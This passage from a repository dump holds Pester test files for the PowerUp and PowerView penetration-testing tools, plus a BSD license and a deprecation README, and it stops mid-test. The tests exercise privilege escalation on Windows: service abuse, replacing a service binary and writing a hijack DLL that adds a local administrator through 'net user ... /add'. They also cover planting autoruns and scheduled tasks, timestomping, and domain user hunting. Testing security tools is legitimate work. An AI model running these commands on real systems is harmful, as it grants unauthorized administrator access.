Remove-Item -Path $ServicePath -Force 114 | 115 | $Output | Should Not BeNullOrEmpty 116 | $Output.ServiceName | Should Be $ServiceName 117 | $Output.Path | Should Be $ServicePath 118 | } 119 | 120 | It 'Should not return a service with a non-existent service binary.' { 121 | $ServiceName = Get-RandomName 122 | $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" 123 | 124 | sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" 125 | 126 | $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } 127 | sc.exe delete $ServiceName | Should Match "SUCCESS" 128 | 129 | $Output | Should BeNullOrEmpty 130 | } 131 | } 132 | 133 | 134 | Describe 'Get-ServicePermission' { 135 | 136 | It 'Should not throw.' { 137 | {Get-ServicePermission} | Should Not Throw 138 | } 139 | 140 | It 'Should return a modifiable service.' { 141 | $Output = Get-ServicePermission | Where-Object { $_.ServiceName -eq 'Dhcp'} 142 | $Output | Should Not BeNullOrEmpty 143 | } 144 | } 145 | 146 | 147 | Describe 'Get-ServiceDetail' { 148 | 149 | It 'Should return results for a valid service.' { 150 | $Output = Get-ServiceDetail -ServiceName Dhcp 151 | $Output | Should Not BeNullOrEmpty 152 | } 153 | 154 | It 'Should return not results for an invalid service.' { 155 | $Output = Get-ServiceDetail -ServiceName NonExistent123 156 | $Output | Should BeNullOrEmpty 157 | } 158 | } 159 | 160 | 161 | 162 | ######################################################## 163 | # 164 | # Service abuse 165 | # 166 | ######################################################## 167 | 168 | Describe 'Invoke-ServiceAbuse' { 169 | 170 | BeforeEach { 171 | $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" 172 | $Null = sc.exe create "PowerUpService" binPath= $ServicePath 173 | } 174 | 175 | AfterEach { 176 | $Null = sc.exe delete "PowerUpService" 177 | $Null = $(net user john /delete >$Null 2>&1) 178 | } 179 | 180 | It 'Should abuse a vulnerable service to add a local administrator with default options.' { 181 | $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" 182 | $Output.Command | Should Match "net" 183 | 184 | if( -not ($(net localgroup Administrators) -match "john")) { 185 | Throw "Local user 'john' not created." 186 | } 187 | } 188 | 189 | It 'Should accept a service name on the pipeline.' { 190 | $Output = "PowerUpService" | Invoke-ServiceAbuse 191 | $Output.Command | Should Match "net" 192 | 193 | if( -not ($(net localgroup Administrators) -match "john")) { 194 | Throw "Local user 'john' not created." 195 | } 196 | } 197 | 198 | It 'User should not be created for a non-existent service.' { 199 | $Output = Invoke-ServiceAbuse -ServiceName "NonExistentService456" 200 | $Output.Command | Should Match "Not found" 201 | 202 | if( ($(net localgroup Administrators) -match "john")) { 203 | Throw "Local user 'john' should not have been created for non-existent service." 204 | } 205 | } 206 | 207 | It 'Should accept custom user/password arguments.' { 208 | $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' 209 | $Output.Command | Should Match "net" 210 | 211 | if( -not ($(net localgroup Administrators) -match "PowerUp")) { 212 | Throw "Local user 'PowerUp' not created." 213 | } 214 | $Null = $(net user PowerUp /delete >$Null 2>&1) 215 | } 216 | 217 | It 'Should accept a custom command.' { 218 | $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" 219 | $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Command "net user testing Password123! /add" 220 | 221 | if( -not ($(net user) -match "testing")) { 222 | Throw "Custom command failed." 223 | } 224 | $Null = $(net user testing /delete >$Null 2>&1) 225 | } 226 | } 227 | 228 | 229 | Describe 'Install-ServiceBinary' { 230 | 231 | BeforeEach { 232 | $ServicePath = "$(Get-Location)\powerup.exe" 233 | $Null | Out-File -FilePath $ServicePath -Force 234 | $Null = sc.exe create "PowerUpService" binPath= $ServicePath 235 | } 236 | 237 | AfterEach { 238 | $Null = Invoke-ServiceStop -ServiceName PowerUpService 239 | $Null = sc.exe delete "PowerUpService" 240 | $Null = $(net user john /delete >$Null 2>&1) 241 | if(Test-Path "$(Get-Location)\powerup.exe") { 242 | Remove-Item -Path "$(Get-Location)\powerup.exe" -Force 243 | } 244 | if(Test-Path "$(Get-Location)\powerup.exe.bak") { 245 | Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force 246 | } 247 | } 248 | 249 | It 'Should abuse a vulnerable service binary to add a local administrator with default options.' { 250 | 251 | $Output = Install-ServiceBinary -ServiceName "PowerUpService" 252 | $Output.Command | Should Match "net" 253 | 254 | $Null = Invoke-ServiceStart -ServiceName PowerUpService 255 | Start-Sleep -Seconds 3 256 | if( -not ($(net localgroup Administrators) -match "john")) { 257 | Throw "Local user 'john' not created." 258 | } 259 | $Null = Invoke-ServiceStop -ServiceName PowerUpService 260 | 261 | $Output = Restore-ServiceBinary -ServiceName PowerUpService 262 | "$(Get-Location)\powerup.exe.bak" | Should Not Exist 263 | } 264 | 265 | It 'Should accept a service name on the pipeline.' { 266 | 267 | $Output = "PowerUpService" | Install-ServiceBinary 268 | $Output.Command | Should Match "net" 269 | 270 | $Null = Invoke-ServiceStart -ServiceName PowerUpService 271 | Start-Sleep -Seconds 3 272 | if( -not ($(net localgroup Administrators) -match "john")) { 273 | Throw "Local user 'john' not created." 274 | } 275 | $Null = Invoke-ServiceStop -ServiceName PowerUpService 276 | 277 | $Output = Restore-ServiceBinary -ServiceName PowerUpService 278 | "$(Get-Location)\powerup.exe.bak" | Should Not Exist 279 | } 280 | 281 | It 'User should not be created for a non-existent service.' { 282 | $Output = Install-ServiceBinary -ServiceName "NonExistentService456" 283 | $Output.Command | Should Match "Not found" 284 | } 285 | 286 | It 'Should accept custom user/password arguments.' { 287 | $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' 288 | $Output.Command | Should Match "net" 289 | 290 | $Null = Invoke-ServiceStart -ServiceName PowerUpService 291 | Start-Sleep -Seconds 3 292 | if( -not ($(net localgroup Administrators) -match "PowerUp")) { 293 | Throw "Local user 'PowerUp' not created." 294 | } 295 | $Null = $(net user PowerUp /delete >$Null 2>&1) 296 | 297 | $Output = Restore-ServiceBinary -ServiceName PowerUpService 298 | "$(Get-Location)\powerup.exe.bak" | Should Not Exist 299 | } 300 | 301 | It 'Should accept a custom command.' { 302 | 303 | $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Command "net user testing Password123! /add" 304 | $Output.Command | Should Match "net" 305 | 306 | $Null = Invoke-ServiceStart -ServiceName PowerUpService 307 | Start-Sleep -Seconds 3 308 | if( -not ($(net user) -match "testing")) { 309 | Throw "Custom command failed." 310 | } 311 | $Null = $(net user testing /delete >$Null 2>&1) 312 | 313 | $Output = Restore-ServiceBinary -ServiceName PowerUpService 314 | "$(Get-Location)\powerup.exe.bak" | Should Not Exist 315 | } 316 | } 317 | 318 | 319 | ######################################################## 320 | # 321 | # .dll Hijacking 322 | # 323 | ######################################################## 324 | 325 | Describe 'Find-DLLHijack' { 326 | It 'Should return results.' { 327 | $Output = Find-DLLHijack 328 | $Output | Should Not BeNullOrEmpty 329 | } 330 | } 331 | 332 | 333 | Describe 'Find-PathHijack' { 334 | 335 | It 'Should find a hijackable %PATH% folder.' { 336 | 337 | New-Item -Path C:\PowerUpTest\ -ItemType directory -Force 338 | 339 | $OldPath = $Env:PATH 340 | $Env:PATH += ';C:\PowerUpTest\' 341 | 342 | $Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"} 343 | $Env:PATH = $OldPath 344 | $Output.HijackablePath | Should Be 'C:\PowerUpTest\' 345 | } 346 | } 347 | 348 | # won't actually execute on Win8+ with the wlbsctrl.dll method 349 | Describe 'Write-HijackDll' { 350 | 351 | It 'Should write a .dll that executes a custom command.' { 352 | 353 | Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add" 354 | 355 | "$(Get-Location)\powerup.dll" | Should Exist 356 | "$(Get-Location)\debug.bat" | Should Exist 357 | Remove-Item -Path "$(Get-Location)\powerup.dll" -Force 358 | Remove-Item -Path "$(Get-Location)\debug.bat" -Force 359 | } 360 | } 361 | 362 | 363 | ######################################################## 364 | # 365 | # Registry Checks 366 | # 367 | ######################################################## 368 | 369 | Describe 'Get-RegAlwaysInstallElevated' { 370 | It 'Should not throw.' { 371 | {Get-ServicePermission} | Should Not Throw 372 | } 373 | } 374 | 375 | 376 | Describe 'Get-RegAutoLogon' { 377 | It 'Should not throw.' { 378 | {Get-ServicePermission} | Should Not Throw 379 | } 380 | } 381 | 382 | 383 | Describe 'Get-VulnAutoRun' { 384 | It 'Should not throw.' { 385 | {Get-VulnAutoRun} | Should Not Throw 386 | } 387 | It 'Should find a vulnerable autorun.' { 388 | $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" 389 | $Null | Out-File -FilePath $FilePath -Force 390 | Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" 391 | 392 | $Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"} 393 | 394 | Remove-Item -Path $FilePath -Force 395 | $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp 396 | 397 | $Output.ModifiableFile | Should Be $FilePath 398 | } 399 | } 400 | 401 | 402 | ######################################################## 403 | # 404 | # Misc. 405 | # 406 | ######################################################## 407 | 408 | Describe 'Get-VulnSchTask' { 409 | It 'Should not throw.' { 410 | {Get-VulnSchTask} | Should Not Throw 411 | } 412 | 413 | It 'Should find a vulnerable config file for a binary specified in a schtask.' { 414 | 415 | $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" 416 | $Null | Out-File -FilePath $FilePath -Force 417 | 418 | $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f 419 | 420 | $Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'} 421 | $Null = schtasks.exe /delete /tn PowerUp /f 422 | Remove-Item -Path $FilePath -Force 423 | 424 | $Output.TaskFilePath | Should Be $FilePath 425 | } 426 | } 427 | 428 | 429 | Describe 'Get-UnattendedInstallFile' { 430 | It 'Should not throw.' { 431 | {Get-UnattendedInstallFile} | Should Not Throw 432 | } 433 | It 'Should return a leftover autorun' { 434 | $FilePath = Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml" 435 | 436 | $Null | Out-File -FilePath $FilePath -Force 437 | $Output = Get-UnattendedInstallFile 438 | $Output | Should Not BeNullOrEmpty 439 | 440 | Remove-Item -Path $FilePath -Force 441 | } 442 | } 443 | 444 | 445 | Describe 'Get-Webconfig' { 446 | It 'Should not throw.' { 447 | {Get-Webconfig} | Should Not Throw 448 | } 449 | } 450 | 451 | 452 | Describe 'Get-ApplicationHost' { 453 | It 'Should not throw.' { 454 | {Get-ApplicationHost} | Should Not Throw 455 | } 456 | } 457 | 458 | 459 | Describe 'Invoke-AllChecks' { 460 | It 'Should return results to stdout.' { 461 | $Output = Invoke-AllChecks 462 | $Output | Should Not BeNullOrEmpty 463 | } 464 | It 'Should produce a HTML report with -HTMLReport.' { 465 | $Output = Invoke-AllChecks -HTMLReport 466 | $Output | Should Not BeNullOrEmpty 467 | 468 | $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" 469 | 470 | $HtmlReportFile | Should Exist 471 | Remove-Item -Path $HtmlReportFile -Force 472 | } 473 | } 474 | -------------------------------------------------------------------------------- /PowerView/LICENSE: -------------------------------------------------------------------------------- 1 | PowerView is provided under the 3-clause BSD license below. 2 | 3 | ************************************************************* 4 | 5 | Copyright (c) 2015, Will Schroeder 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | 10 | Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 12 | The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 15 | 16 | -------------------------------------------------------------------------------- /PowerView/README.md: -------------------------------------------------------------------------------- 1 | # PowerTools Is Now Depreciated 2 | 3 | ## PowerUp have moved to the [PowerSploit repository](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) under ./Recon/ . 4 | -------------------------------------------------------------------------------- /PowerView/Tests/PowerView.tests.ps1: -------------------------------------------------------------------------------- 1 | Import-Module -Force "..\PowerView.ps1" 2 | 3 | 4 | # Get the local IP address for later testing 5 | $IPregex = "(?
((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))" 6 | $LocalIP = (gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -match $IPregex}).ipaddress[0] 7 | 8 | 9 | ######################################################## 10 | # 11 | # Helper functions. 12 | # 13 | ######################################################## 14 | 15 | Describe 'Export-PowerViewCSV' { 16 | It 'Should Not Throw and should produce .csv output.' { 17 | {Get-Process | Export-PowerViewCSV -OutFile process_test.csv} | Should Not Throw 18 | '.\process_test.csv' | Should Exist 19 | Remove-Item -Force .\process_test.csv 20 | } 21 | } 22 | 23 | 24 | Describe 'Set-MacAttribute' { 25 | BeforeEach { 26 | New-Item MacAttribute.test.txt -Type file 27 | } 28 | AfterEach { 29 | Remove-Item -Force MacAttribute.test.txt 30 | } 31 | It 'Should clone MAC attributes of existing file' { 32 | Set-MacAttribute -FilePath MacAttribute.test.txt -All '01/01/2000 12:00 am' 33 | $File = (Get-Item MacAttribute.test.txt) 34 | $Date = Get-Date -Date '2000-01-01 00:00:00' 35 | 36 | if ($File.LastWriteTime -ne $Date) { 37 | Throw 'File LastWriteTime does Not match' 38 | } 39 | elseif($File.LastAccessTime -ne $Date) { 40 | Throw 'File LastAccessTime does Not match' 41 | } 42 | elseif($File.CreationTime -ne $Date) { 43 | Throw 'File CreationTime does Not match' 44 | } 45 | } 46 | } 47 | 48 | 49 | Describe 'Get-IPAddress' { 50 | $IPregex = "(?
((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))" 51 | It 'Should return local IP address' { 52 | if( $(Get-IPAddress) -notmatch $IPRegex ) { 53 | Throw 'Invalid local IP address returned' 54 | } 55 | } 56 | It 'Should accept -ComputerName argument' { 57 | if( $(Get-IPAddress -ComputerName $env:COMPUTERNAME) -notmatch $IPRegex ) { 58 | Throw 'Invalid -ComputerName IP address returned' 59 | } 60 | } 61 | } 62 | 63 | Describe 'Convert-SidToName' { 64 | It 'Should resolve built in SIDs' { 65 | Convert-SidToName -SID 'S-1-5-32-545' | Should Be 'BUILTIN\Users' 66 | } 67 | It 'Should accept pipeline input' { 68 | 'S-1-5-32-552' | Convert-SidToName | Should Be 'BUILTIN\Replicators' 69 | } 70 | It 'Should return a unresolvable SID' { 71 | Convert-SidToName -SID 'S-1-5-32-1337' | Should Be 'S-1-5-32-1337' 72 | } 73 | } 74 | 75 | 76 | Describe 'Get-Proxy' { 77 | It 'Should Not Throw' { 78 | {Get-Proxy} | Should Not Throw 79 | } 80 | It 'Should accept -ComputerName argument' { 81 | {Get-Proxy -ComputerName $env:COMPUTERNAME} | Should Not Throw 82 | } 83 | } 84 | 85 | 86 | Describe 'Get-PathAcl' { 87 | It 'Should Not Throw' { 88 | {Get-PathAcl C:\} | Should Not Throw 89 | } 90 | It 'Should return correct ACLs' { 91 | $Output = Get-PathAcl -Path C:\Windows | ?{$_.IdentityReference -eq "Creator Owner"} 92 | if(-not $Output) { 93 | Throw "Output Not returned" 94 | } 95 | if($Output.FileSystemRights -ne 'GenericAll') { 96 | Throw "Incorrect FileSystemRights returned" 97 | } 98 | } 99 | } 100 | 101 | 102 | Describe 'Get-NameField' { 103 | It 'Should extract dnshostname field from custom object' { 104 | $Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing1'} 105 | if ( (Get-NameField -Object $Object) -ne 'testing1') { 106 | Throw "'dnshostname' field Not parsed correctly" 107 | } 108 | } 109 | It 'Should extract name field from custom object' { 110 | $Object = New-Object -TypeName PSObject -Property @{'name' = 'testing2'} 111 | if ( (Get-NameField -Object $Object) -ne 'testing2') { 112 | Throw "'name' field Not parsed correctly" 113 | } 114 | } 115 | It 'Should handle plaintext strings' { 116 | if ( (Get-NameField -Object 'testing3') -ne 'testing3') { 117 | Throw 'Plaintext string Not parsed correctly' 118 | } 119 | } 120 | It 'Should accept pipeline input' { 121 | $Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing4'} 122 | if ( ($Object | Get-NameField) -ne 'testing4') { 123 | Throw 'Pipeline input Not processed correctly' 124 | } 125 | } 126 | } 127 | 128 | 129 | Describe 'Invoke-ThreadedFunction' { 130 | It "Should allow threaded ping" { 131 | $Hosts = ,"localhost" * 100 132 | $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} 133 | $Hosts = Invoke-ThreadedFunction -NoImports -ComputerName $Hosts -ScriptBlock $Ping -Threads 20 134 | if($Hosts.length -ne 100) { 135 | Throw 'Error in using Invoke-ThreadedFunction to ping localhost' 136 | } 137 | } 138 | } 139 | 140 | 141 | ######################################################## 142 | # 143 | # 'API' based functions 144 | # 145 | ######################################################## 146 | 147 | Describe "Get-NetLocalGroup" { 148 | It "Should return results for local machine administrators" { 149 | if ( (Get-NetLocalGroup | Measure-Object).count -lt 1) { 150 | Throw "Incorrect local administrators returned" 151 | } 152 | } 153 | It "Should return results for listing local groups" { 154 | if ( (Get-NetLocalGroup -ListGroups | Measure-Object).count -lt 1) { 155 | Throw "Incorrect local administrators returned" 156 | } 157 | } 158 | # TODO: -ComputerList 159 | It "Should accept -GroupName argument" { 160 | {Get-NetLocalGroup -GroupName "Remote Desktop Users"} | Should Not Throw 161 | } 162 | It "Should accept FQDN -ComputerName argument" { 163 | if ( (Get-NetLocalGroup -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 164 | Throw "Incorrect local administrators returned" 165 | } 166 | } 167 | It "Should accept NETBIOS -ComputerName argument" { 168 | if ( (Get-NetLocalGroup -ComputerName "$env:computername" | Measure-Object).count -lt 1) { 169 | Throw "Incorrect local administrators returned" 170 | } 171 | } 172 | It "Should accept IP -ComputerName argument" { 173 | if ( (Get-NetLocalGroup -ComputerName $LocalIP | Measure-Object).count -lt 1) { 174 | Throw "Incorrect local administrators returned" 175 | } 176 | } 177 | It "Should accept pipeline input" { 178 | if ( ( "$env:computername.$env:userdnsdomain" | Get-NetLocalGroup | Measure-Object).count -lt 1) { 179 | Throw "Incorrect local administrators returned" 180 | } 181 | } 182 | } 183 | 184 | 185 | Describe "Get-NetShare" { 186 | It "Should return results for the local host" { 187 | if ( (Get-NetShare | Measure-Object).count -lt 1) { 188 | Throw "Incorrect share results returned" 189 | } 190 | } 191 | It "Should accept FQDN -ComputerName argument" { 192 | if ( (Get-NetShare -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 193 | Throw "Incorrect local administrators returned" 194 | } 195 | } 196 | It "Should accept NETBIOS -ComputerName argument" { 197 | if ( (Get-NetShare -ComputerName "$env:computername" | Measure-Object).count -lt 1) { 198 | Throw "Incorrect local administrators returned" 199 | } 200 | } 201 | It "Should accept IP -ComputerName argument" { 202 | if ( (Get-NetShare -ComputerName $LocalIP | Measure-Object).count -lt 1) { 203 | Throw "Incorrect share results returned" 204 | } 205 | } 206 | It "Should accept pipeline input" { 207 | if ( ( "$env:computername.$env:userdnsdomain" | Get-NetShare | Measure-Object).count -lt 1) { 208 | Throw "Incorrect local administrators returned" 209 | } 210 | } 211 | } 212 | 213 | 214 | Describe "Get-NetLoggedon" { 215 | It "Should return results for the local host" { 216 | if ( (Get-NetLoggedon | Measure-Object).count -lt 1) { 217 | Throw "Incorrect loggedon results returned" 218 | } 219 | } 220 | It "Should accept FQDN -ComputerName argument" { 221 | if ( (Get-NetLoggedon -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 222 | Throw "Incorrect loggedon results returned" 223 | } 224 | } 225 | It "Should accept NETBIOS -ComputerName argument" { 226 | if ( (Get-NetLoggedon -ComputerName "$env:computername" | Measure-Object).count -lt 1) { 227 | Throw "Incorrect loggedon results returned" 228 | } 229 | } 230 | It "Should accept IP -ComputerName argument" { 231 | if ( (Get-NetLoggedon -ComputerName $LocalIP | Measure-Object).count -lt 1) { 232 | Throw "Incorrect loggedon results returned" 233 | } 234 | } 235 | It "Should accept pipeline input" { 236 | if ( ( "$env:computername.$env:userdnsdomain" | Get-NetLoggedon | Measure-Object).count -lt 1) { 237 | Throw "Incorrect local administrators returned" 238 | } 239 | } 240 | } 241 | 242 | 243 | Describe "Get-NetSession" { 244 | It "Should return results for the local host" { 245 | if ( (Get-NetSession | Measure-Object).count -lt 1) { 246 | Throw "Incorrect session results returned" 247 | } 248 | } 249 | It "Should accept FQDN -ComputerName argument" { 250 | if ( (Get-NetSession -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 251 | Throw "Incorrect session results returned" 252 | } 253 | } 254 | It "Should accept NETBIOS -ComputerName argument" { 255 | if ( (Get-NetSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { 256 | Throw "Incorrect session results returned" 257 | } 258 | } 259 | It "Should accept IP -ComputerName argument" { 260 | if ( (Get-NetSession -ComputerName $LocalIP | Measure-Object).count -lt 1) { 261 | Throw "Incorrect session results returned" 262 | } 263 | } 264 | It "Should accept the -UserName argument" { 265 | {Get-NetSession -UserName 'Administrator'} | Should Not Throw 266 | } 267 | It "Should accept pipeline input" { 268 | {"$env:computername.$env:userdnsdomain" | Get-NetSession} | Should Not Throw 269 | } 270 | } 271 | 272 | 273 | Describe "Get-NetRDPSession" { 274 | It "Should return results for the local host" { 275 | if ( (Get-NetRDPSession | Measure-Object).count -lt 1) { 276 | Throw "Incorrect session results returned" 277 | } 278 | } 279 | It "Should accept FQDN -ComputerName argument" { 280 | if ( (Get-NetRDPSession -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 281 | Throw "Incorrect session results returned" 282 | } 283 | } 284 | It "Should accept NETBIOS -ComputerName argument" { 285 | if ( (Get-NetRDPSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { 286 | Throw "Incorrect session results returned" 287 | } 288 | } 289 | It "Should accept IP -ComputerName argument" { 290 | if ( (Get-NetRDPSession -ComputerName $LocalIP | Measure-Object).count -lt 1) { 291 | Throw "Incorrect session results returned" 292 | } 293 | } 294 | It "Should accept pipeline input" { 295 | {"$env:computername.$env:userdnsdomain" | Get-NetRDPSession} | Should Not Throw 296 | } 297 | } 298 | 299 | 300 | Describe "Invoke-CheckLocalAdminAccess" { 301 | It "Should Not Throw for localhost" { 302 | {Invoke-CheckLocalAdminAccess} | Should Not Throw 303 | } 304 | It "Should accept FQDN -ComputerName argument" { 305 | {Invoke-CheckLocalAdminAccess -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 306 | } 307 | It "Should accept NETBIOS -ComputerName argument" { 308 | {Invoke-CheckLocalAdminAccess -ComputerName "$env:computername"} | Should Not Throw 309 | } 310 | It "Should accept IP -ComputerName argument" { 311 | {Invoke-CheckLocalAdminAccess -ComputerName $LocalIP} | Should Not Throw 312 | } 313 | It "Should accept pipeline input" { 314 | {"$env:computername.$env:userdnsdomain" | Invoke-CheckLocalAdminAccess} | Should Not Throw 315 | } 316 | } 317 | 318 | 319 | Describe "Get-LastLoggedOn" { 320 | It "Should return results for the local host" { 321 | if ( (Get-LastLoggedOn | Measure-Object).count -lt 1) { 322 | Throw "Incorrect loggedon results returned" 323 | } 324 | } 325 | It "Should accept FQDN -ComputerName argument" { 326 | if ( (Get-LastLoggedOn -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 327 | Throw "Incorrect loggedon results returned" 328 | } 329 | } 330 | It "Should accept NETBIOS -ComputerName argument" { 331 | if ( (Get-LastLoggedOn -ComputerName "$env:computername" | Measure-Object).count -lt 1) { 332 | Throw "Incorrect loggedon results returned" 333 | } 334 | } 335 | It "Should accept IP -ComputerName argument" { 336 | if ( (Get-LastLoggedOn -ComputerName $LocalIP | Measure-Object).count -lt 1) { 337 | Throw "Incorrect loggedon results returned" 338 | } 339 | } 340 | It "Should accept pipeline input" { 341 | {"$env:computername.$env:userdnsdomain" | Get-LastLoggedOn} | Should Not Throw 342 | } 343 | } 344 | 345 | 346 | Describe "Get-CachedRDPConnection" { 347 | It "Should Not Throw" { 348 | {Get-CachedRDPConnection} | Should Not Throw 349 | } 350 | It "Should accept FQDN -ComputerName argument" { 351 | {Get-CachedRDPConnection -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 352 | } 353 | It "Should accept NETBIOS -ComputerName argument" { 354 | {Get-CachedRDPConnection -ComputerName "$env:computername"} | Should Not Throw 355 | } 356 | It "Should accept IP -ComputerName argument" { 357 | {Get-CachedRDPConnection -ComputerName $LocalIP} | Should Not Throw 358 | } 359 | It "Should accept pipeline input" { 360 | {"$env:computername.$env:userdnsdomain" | Get-CachedRDPConnection} | Should Not Throw 361 | } 362 | } 363 | 364 | 365 | Describe "Get-NetProcess" { 366 | It "Should return results for the local host" { 367 | if ( (Get-NetProcess | Measure-Object).count -lt 1) { 368 | Throw "Incorrect process results returned" 369 | } 370 | } 371 | It "Should accept FQDN -ComputerName argument" { 372 | if ( (Get-NetProcess -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 373 | Throw "Incorrect process results returned" 374 | } 375 | } 376 | It "Should accept NETBIOS -ComputerName argument" { 377 | if ( (Get-NetProcess -ComputerName "$env:computername" | Measure-Object).count -lt 1) { 378 | Throw "Incorrect process results returned" 379 | } 380 | } 381 | It "Should accept IP -ComputerName argument" { 382 | if ( (Get-NetProcess -ComputerName $LocalIP | Measure-Object).count -lt 1) { 383 | Throw "Incorrect process results returned" 384 | } 385 | } 386 | # TODO: RemoteUserName/RemotePassword 387 | It "Should accept pipeline input" { 388 | {"$env:computername.$env:userdnsdomain" | Get-NetProcess} | Should Not Throw 389 | } 390 | } 391 | 392 | 393 | Describe "Find-InterestingFile" { 394 | #TODO: implement 395 | } 396 | 397 | 398 | Describe "Invoke-UserHunter" { 399 | It "Should accept -ComputerName argument" { 400 | if ( (Invoke-UserHunter -ShowAll -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 401 | Throw "Insuffient results returned" 402 | } 403 | } 404 | It "Should accept -ComputerFile argument" { 405 | "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt 406 | if ( (Invoke-UserHunter -ComputerFile ".\targets.txt" -ShowAll | Measure-Object).count -lt 1) { 407 | Remove-Item -Force ".\targets.txt" 408 | Throw "Insuffient results returned" 409 | } 410 | else { 411 | Remove-Item -Force ".\targets.txt" 412 | } 413 | } 414 | It "Should accept -NoPing flag" { 415 | if ( (Invoke-UserHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { 416 | Throw "Insuffient results returned" 417 | } 418 | } 419 | It "Should accept -Delay and -Jitter arguments" { 420 | if ( (Invoke-UserHunter -ShowAll -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { 421 | Throw "Insuffient results returned" 422 | } 423 | } 424 | It "Should accept pipeline input" { 425 | if ( ("$env:computername.$env:userdnsdomain" | Invoke-UserHunter -ShowAll | Measure-Object).count -lt 1) { 426 | Throw "Insuffient results returned" 427 | } 428 | } 429 | } 430 | 431 | 432 | Describe "Invoke-StealthUserHunter" { 433 | # simple test of the splatting 434 | It "Should accept splatting for Invoke-UserHunter" { 435 | {Invoke-StealthUserHunter -ShowAll -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 436 | } 437 | } 438 | 439 | 440 | Describe "Invoke-ProcessHunter" { 441 | It "Should accept -ComputerName and -UserName arguments" { 442 | if ( (Invoke-ProcessHunter -UserName $env:USERNAME -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 443 | Throw "Insuffient results returned" 444 | } 445 | } 446 | It "Should accept -ComputerFile argument" { 447 | "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt 448 | if ( (Invoke-ProcessHunter -ComputerFile ".\targets.txt" -UserName $env:USERNAME | 